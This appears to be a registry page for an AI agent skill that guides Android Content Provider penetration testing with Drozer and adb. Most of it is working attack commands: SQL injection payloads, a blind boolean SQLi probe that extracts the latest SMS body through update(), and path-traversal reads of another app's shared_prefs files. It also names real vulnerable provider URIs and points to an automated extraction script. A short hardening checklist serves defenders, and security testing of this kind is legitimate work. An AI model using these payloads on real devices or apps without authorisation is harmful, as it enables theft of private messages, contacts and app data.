# Android Content Provider Pentest

> Android Content Provider security testing and exploitation. Use this skill whenever you need to enumerate, analyze, or exploit Android Content Providers during mobile app pentesting. This includes finding exposed providers, testing for SQL injection, path traversal, permission bypasses, and data exfiltration. Trigger this skill for any Android security assessment involving Content Providers, whether you're using Drozer, ADB cmd content, or manual testing. Also use when investigating exported providers, writePermission omissions, or recent CVEs like CVE-2024-43089.

- Skill: `abelrguezr/android-content-provider-pentest` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/android-content-provider-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/android-content-provider-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Data & Analytics
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/android-content-provider-pentest

---


# Android Content Provider Pentesting

A comprehensive guide for security testing Android Content Providers.

## Overview

Content Providers are Android components that supply data from one application to others on request. They're a common attack surface in mobile pentesting due to misconfigurations like:

- Exported providers without proper permissions
- SQL injection in query/update/delete operations
- Path traversal in file-backed providers
- Missing writePermission declarations

## Quick Start

1. **Enumerate providers**: `run app.provider.info -a <package>`
2. **Find accessible URIs**: `run scanner.provider.finduris -a <package>`
3. **Test for vulnerabilities**: SQL injection, path traversal, permission bypass

## Enumeration

### List all providers for a package

```bash
dz> run app.provider.info -a com.example.app
```

Key fields to check:
- `Read Permission` / `Write Permission` - null means no permission required
- `Multiprocess Allowed` - true increases attack surface
- `Path Permissions` - specific path-level restrictions

**Red flags:**
- `Read Permission: null` AND `Write Permission: null` = fully exposed
- `Read Permission` set but `Write Permission: null` = potential blind SQLi vector
- `Multiprocess Allowed: True` = cross-process attacks possible

### Find accessible URIs

```bash
dz> run scanner.provider.finduris -a com.example.app
```

This attempts to query common URI patterns and reports which ones are accessible.

**Note:** Path `/Keys` vs `/Keys/` matters - developers often secure one but not the other.

### Modern: Use `cmd content` (ADB ≥ 8.0)

No agent installation required:

```bash
adb shell cmd content query --uri content://com.example.provider/path/
adb shell cmd content update --uri content://com.example.provider/path/1 --bind price:d:1337
adb shell cmd content call --uri content://com.example.provider --method evilMethod --arg 'foo'
```

## Database-Backed Providers

### Query data

```bash
dz> run app.provider.query content://com.example.provider/path/ --vertical
```

### Insert data

```bash
dz> run app.provider.insert content://com.example.provider/path/ \
  --bind column1:s:value1 \
  --bind column2:i:123
```

Type flags: `--string`, `--double`, `--float`, `--integer`, `--long`, `--short`, `--boolean`

### Update data

```bash
dz> run app.provider.update content://com.example.provider/path/ \
  --bind column1:s:newvalue \
  --where "id=1"
```

### Delete data

```bash
dz> run app.provider.delete content://com.example.provider/path/ \
  --where "id=1"
```

## SQL Injection Testing

### Manual testing

```bash
# Test selection parameter
dz> run app.provider.query content://com.example.provider/path/ \
  --selection "'"

# Test projection parameter
dz> run app.provider.query content://com.example.provider/path/ \
  --projection "* FROM sqlite_master WHERE type='table';--"
```

### Automatic detection

```bash
dz> run scanner.provider.injection -a com.example.app
```

### List accessible tables

```bash
dz> run scanner.provider.sqltables -a com.example.app
```

### Blind SQLi via update()

When `writePermission` is omitted but `update()` is callable, you can exfiltrate data from co-located tables using a blind boolean oracle.

**Discovery:**
1. Check for providers with `readPermission` set but `writePermission: null`
2. Confirm `update()` is implemented
3. Verify target table exists in same DB via `sqlite_master`

**Probe example:**
```bash
adb shell cmd content update \
  --uri content://service-number/service_number \
  --bind rowid:s:123 \
  --where '1=1 AND unicode(substr((SELECT body FROM sms ORDER BY rowid DESC LIMIT 1),1,1)) BETWEEN 48 AND 57'
```

**TRUE** if update() > 0 or UNIQUE constraint exception thrown.

**Use the `scripts/blind_sqli_extractor.py` script for automated extraction.**

## File System-Backed Providers

### Read files

```bash
dz> run app.provider.read content://com.example.provider/path/to/file
```

### Path traversal testing

```bash
dz> run app.provider.read content://com.example.provider/../../../etc/hosts
```

### Automatic detection

```bash
dz> run scanner.provider.traversal -a com.example.app
```

## Modern Tooling (2023-2025)

### Drozer 3.x

```bash
pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0"
adb install drozer-agent-3.1.0.apk
```

New modules:
- `scanner.provider.exported` - list only exported providers
- `app.provider.grant` - handle FLAG_GRANT_URI_PERMISSION on Android 12+
- Better Scoped Storage handling for Android 11+

### Grant URI permissions (Android 12+)

```bash
dz> run app.provider.grant -a com.example.app -u content://com.example.provider/path
```

## Common Vulnerabilities

### writePermission omission

When a provider has `readPermission` but no `writePermission`, any app can call insert/update/delete. Combined with SQL injection in update(), this enables blind data exfiltration from co-located tables.

**Real-world examples:**
- `content://service-number/service_number`
- `content://push-mms/push`
- `content://push-shop/push_shop`

### Path traversal in openFile()

CVE-2024-43089 and CVE-2023-35670 show path traversal in MediaProvider's openFile() method.

```bash
adb shell cmd content read \
  --uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml
```

### Co-location attacks

Sensitive tables (SMS, contacts, etc.) in the same SQLite database as a vulnerable provider can be accessed via blind SQLi even if they have privileged read permissions.

## Hardening Checklist

- Set `android:exported="false"` unless the provider must be public (mandatory from API 31)
- Declare both `readPermission` and `writePermission`
- Use `SQLiteQueryBuilder` with projection maps
- Canonicalize paths in `openFile()` to prevent traversal
- Keep sensitive tables in separate databases
- Use `FileProvider` or Storage Access Framework for file exposure

## Workflow Summary

1. **Enumerate**: `app.provider.info` + `scanner.provider.finduris`
2. **Classify**: Database-backed vs file-backed
3. **Test permissions**: Check for null writePermission
4. **Exploit**: SQL injection, path traversal, blind exfiltration
5. **Verify**: Use `scanner.provider.injection` and `scanner.provider.traversal`

## References

- [Drozer 3.1.0 Release](https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0)
- [Android Content Provider Docs](https://developer.android.com/guide/topics/providers/content-provider-basics)
- [CVE-2024-43089](https://source.android.com/security/bulletin/2024-07-01)
- [ManifestSecurity: Content Providers](https://manifestsecurity.com/android-application-security-part-15/)

